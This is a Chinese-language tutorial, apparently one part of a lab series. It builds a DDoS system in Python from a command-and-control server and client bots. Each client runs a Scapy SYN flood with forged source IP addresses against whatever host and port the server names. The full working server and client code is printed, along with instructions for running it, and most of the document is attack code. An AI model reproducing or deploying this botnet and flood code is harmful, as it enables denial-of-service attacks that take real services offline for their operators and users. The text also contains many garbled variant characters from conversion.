结合Socket实现DDoS攻击

1、实验说明

1. 实验介绍

经过上一节实验的SYN泛洪攻击结合Socket实现DDoS攻击。

2. 开发环境

• Ubuntu Linux
• Python 3.x版本

3. 知识点

本次实验将涉及如下知识点：

• argparse 命令解析
• socket的基本用法

4. 效果图

2、理论知识

1. 实现思路

因为上节实验咱们已经实现了SYN泛洪攻击，而DDoS则是多台主机一块儿发起攻击，咱们只须要能发送命令，让链接到服务器的客户端一块儿向同一目标发起攻击就能够了。

对安全领域比较关注的朋友可能都知道世界最大的黑客组织Anonymous常用LOIC(Low Orbit Ion Cannon，低轨道离子炮)进行大规模的DDoS。LOIC有个HIVEMIND模式，用户能够经过链接到一台IRC服务器，当有用户发送命令，任何以HIVEMIND模式链接到IRC服务器的成员都会当即攻击该目标！

这种方式的优势是不须要傀儡机，能够有不少“志同道合”的人一块儿帮助你实现DDoS，不过不太适合在傀儡机中使用。固然实现思路有不少，根据不一样状况的选择也会不一样。而这里咱们将采用客户端、服务器的方式来实现DDoS，这种方式很是简单，可扩展性也比较强。

2. argparse模块

因为Server端须要发送命令去控制Client端发起攻击，因此这里咱们先规定好命令格式:

'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' 

-H后面是被攻击主机的IP地址，-p指定被攻击的端口号，-c控制攻击的开始与中止。

命令制定好了，如今咱们来学习一下命令解析库argparse的用法。看过我其余实验的同窗可能已经了解argparse的用法了，这里能够跳过或者当作复习从新学习一遍。 先来看一下argparse的文档：

在文档的描述中，能够看出argparse是一个命令行解析库，代替了老版本的optparse。下面咱们经过一个例子一块儿了解一下argparse的基本用法！

#导入argparse库 import argparse #建立ArgumentParser对象 parser = argparse.ArgumentParser(description='Process some integers.') #添加参数 parser.add_argument('-p', dest='port', type=int, help='An port number!') #解析命令行参数 args = parser.parse_args() print('Port:',args.port) 

上面的例子中，咱们建立了一个ArgumentParser对象，description参数是对命令行解析的一个描述信息，一般在咱们使用-h命令的时候显示。add_argument添加咱们要解析的参数，这里咱们只添加了一个-p参数，dest是经过parse_args()函数返回的对象中一个属性的名称。type你们应该很好理解，就是解析参数的类型。help指定的字符串是为了自动生成帮助信息。argparse默认就支持-h参数，只要咱们在添加参数的时候指定了help的值就能够生成帮助信息了。

3. socket模块

Python中的socket提供了访问BSDsocket的接口，能够很是方便的实现网络中的信息交换。一般咱们使用socket的时候须要指定ip地址、端口号以及协议类型。在进行socket编程以前咱们先了解一下客户端(Client)和服务器(Server)的概念。通俗的讲主动发起链接请求的称为客户端，监听端口响应链接的咱们称为服务器。 下面我写一个客户端和服务器的例子：

客户端

#导入socket库 import socket #建立socket: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建链接 s.connect(('192.168.0,100', 7786)) 

在上面的这个例子咱们首先导入socket库，而后建立了一个socket对象,socket对象中的参数AF_INET表示咱们使用的是IPV4协议，SOCK_STREAM则表示咱们使用的是基于流的TCP协议。最后咱们指定ip地址和端口号创建链接。

服务器

#导入socket库 import socket cliList = [] #建立socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #绑定地址和端口号 s.bind(('0.0.0.0', 7786))： #开始监听 s.listen(10) while True: # 接受一个新的链接: sock, addr = s.accept() #将sock添加到列表中 cliList.append(sock) 

能够看到服务器的写法稍稍比客户端复杂一些，在建立玩socket以后，要绑定一个地址和端口，这里的0.0.0.0表示绑定到全部的网络地址，端口号只要不是已经使用的端口号就能够了。以后开始监听端口，并在参数中指定最大链接数为10。最后咱们循环等待新的链接，并将已链接的sock对象添加到了一个列表中。注意这里accept()默认是阻塞的，还能够经过settimeout()设定等待时间或者setblocking()设置为非阻塞模式，更多的相关细节能够查看Python官方文档。

3、编码实现

经过前面的学习咱们已经了解了本次实验须要的基础知识，如今咱们就来分别实现Server端和Client端。

1. Server端

因为Server端能等待Client主动链接，因此咱们在Server端发送命令，控制Client端发起SYN泛洪攻击。

实现主函数的完整逻辑，在主函数中咱们建立socket， 绑定全部网络地址和58868端口并开始监听，以后咱们新开一个线程来等待客户端的链接，以避免阻塞咱们输入命令。

def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 58868)) s.listen(1024) t = Thread(target=waitConnect,args=(s,)) t.start() 

因为咱们要给全部客户端发送命令，因此咱们在新开的线程中将链接进来的socket添加到一个list中，这个咱们稍后介绍，但在主函数中咱们第一次输入命令以前须要至少有一个客户端链接到服务器，因此这里咱们判断了一下socket的长度。

print('Wait at least a client connection!') while not len(socketList): pass print('It has been a client connection!') 

如今循环等待输入命令，输入以后判断命令是否知足命令格式的基本要求，若是知足了，咱们就把命令发送给全部客户端。

while True: print('=' * 50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') #等待输入命令 cmd_str = input('Please input cmd:') if len(cmd_str): if cmd_str[0] == '#': sendCmd(cmd_str) 

如今咱们程序的大致框架已经有了，如今咱们来编写主函数中没有完成的子功能。 首先咱们应该实现等待客户端的函数，方便开启新的线程。

在这个函数中，咱们只须要循环等待客户端的链接就能够了，新链接的socket要判断一下是否在socketList中已经存储过了，若是没有的话就添加到socketList中。

#等待链接 def waitConnect(s): while True: sock,addr = s.accept() if sock not in socketList: socketList.append(sock) 

咱们再来实现发送命令的函数，这个函数咱们遍历socketList这个列表，将每一个socket都调用一次send将命令发送出去。

#发送命令 def sendCmd(cmd): print('Send command......') for sock in socketList: sock.send(cmd.encode('utf-8')) 

至此咱们的Server端就完成了，是否是很简单！固然咱们只是实现了基本功能，还有不少能够扩展，这个就留给同窗们发挥了，触类旁通进步才会快！

咱们来看一下Server端的完整代码：

import socket import argparse from threading import Thread socketList = [] #命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' #发送命令 def sendCmd(cmd): print('Send command......') for sock in socketList: sock.send(cmd.encode('utf-8')) #等待链接 def waitConnect(s): while True: sock,addr = s.accept() if sock not in socketList: socketList.append(sock) def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 58868)) s.listen(1024) t = Thread(target=waitConnect,args=(s,)) t.start() print('Wait at least a client connection!') while not len(socketList): pass print('It has been a client connection!') while True: print('=' * 50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') #等待输入命令 cmd_str = input('Please input cmd:') if len(cmd_str): if cmd_str[0] == '#': sendCmd(cmd_str) if __name__ == '__main__': main() 

2. Client端

咱们将在Client端实现对主机的SYN泛洪攻击，并在脚本启动后主动链接Server端，等待Server端发送命令。

仍是先看主函数了解一下总体思路，在主函数中咱们先建立ArgumentParser()对象，并将须要解析的命令参数添加好。

def main():
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest='host', type=str) p.add_argument('-p', dest='port', type=int) p.add_argument('-c', dest='cmd', type=str) 

如今能够建立socket，链接服务器了。这里为了测试咱们链接到本地地址的58868端口吧！以后咱们就能够等待服务器发送命令了。

try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',58868)) print('To connected server was success!') print("=" * 40) cmdHandle(s,p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0) 

咱们将接收命令和处理命令定义在了一个单独的函数中。在这里咱们用到了一个全局变量，用于判断是否有进程正在发起SYN泛洪攻击。以后就开始循环接收命令了，接收以后到的数据是byte型，咱们须要对其进行解码，解码以后才是字符串。若是接收到的数据长度为0，就跳事后续的内容，从新接收数据。

#处理命令 def cmdHandle(sock,parser): global curProcess while True: #接收命令 data = sock.recv(1024).decode('utf-8') if len(data) == 0: print('The data is empty') continue ` 

若是数据的长度不为0，就判断是否具备命令基本格式的特征(#)，知足基本条件就须要用咱们的ArgumentParser对象来解析命令了。

if data[0] == '#': try: #解析命令 options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd 

命令参数解析出来后，我么就要判断究竟是start命令仍是stop命令了，若是是start命令，咱们首先判断当前是否有进程在运行，若是有进程判断进程是否存活。若是当前有进程正在发起SYN泛洪攻击，咱们就先结束这个进程，并清空屏幕。而后咱们就直接启动一个进程，发起SYN泛洪攻击。

#DDoS启动命令 if m_cmd.lower() == 'start': if curProcess != None and curProcess.is_alive(): #结束进程 curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is start') p = Process(target=synFlood,args=(m_host,m_port)) p.start() curProcess = p 

若是命令是stop，而且有进程存活，咱们就直接结束这个进程，并清空屏幕。不然就什么也不作。

#DDoS中止命令 elif m_cmd.lower() =='stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!') 

因为SYN泛洪攻击咱们在上一节实验中已经实现，这里就很少介绍了。如今咱们看一下完整的Client端代码：

#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys import socket import random import argparse from multiprocessing import Process from scapy.all import * import os isWorking = False curProcess = None #SYN泛洪攻击 def synFlood(tgt,dPort): print('='*100) print('The syn flood is running!') print('='*100) srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet) #命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>' #处理命令 def cmdHandle(sock,parser): global curProcess while True: #接收命令 data = sock.recv(1024).decode('utf-8') if len(data) == 0: print('The data is empty') return if data[0] == '#': try: #解析命令 options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd #DDoS启动命令 if m_cmd.lower() == 'start': if curProcess != None and curProcess.is_alive(): curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is start') p = Process(target=synFlood,args=(m_host,m_port)) p.start() curProcess = p #DDoS中止命令 elif m_cmd.lower() =='stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!') def main(): #添加须要解析的命令 p = argparse.ArgumentParser() p.add_argument('-H', dest='host', type=str) p.add_argument('-p', dest='port', type=int) p.add_argument('-c', dest='cmd', type=str) print("*" * 40) try: #建立socket对象 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #链接到服务器端 s.connect(('127.0.0.1',58868)) print('To connected server was success!') print("=" * 40) #处理命令 cmdHandle(s,p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0) if __name__ == '__main__': main() 

4、程序测试

准备工做都作好了，如今咱们来测试一下咱们的脚本是否能完成咱们的任务。

首先咱们运行Server端脚本：

sudo python3 ddosSrv.py 

而后运行Client端脚本，记住这里必定要用root权限来运行:

sudo python3 ddosCli.py 

能够看到Client端已经提示链接成功了

Server端也提示有一个客户端链接了，并且能够输入命令了。

咱们输入一个命令测试一下，为了维护绿色的网络环境，最好找个容许测试的站点：

#-H x.x.x.x -p 80 -c start 

看看Client端是否已经开始SYN泛洪攻击了：

Client端已经开始发送数据包了，说明已经发起了SYN泛洪攻击。至此咱们的实验就所有完成了。

5、总结

经过这两节的实验咱们应该已经掌握了基于Scapy DDoS攻击的实现方法，其实方法还有不少，同窗们能够根据本次实验扩展一下，使本次实验的脚本更加完善或者采用新的方式实现DDoS。 下面总结一下这两次实验所涉及到的知识点：

1. 使用Scapy实现SYN数据包
2. Python中argparse的用法
3. Python中socket的用法
4. 使用socket实现客户端与服务器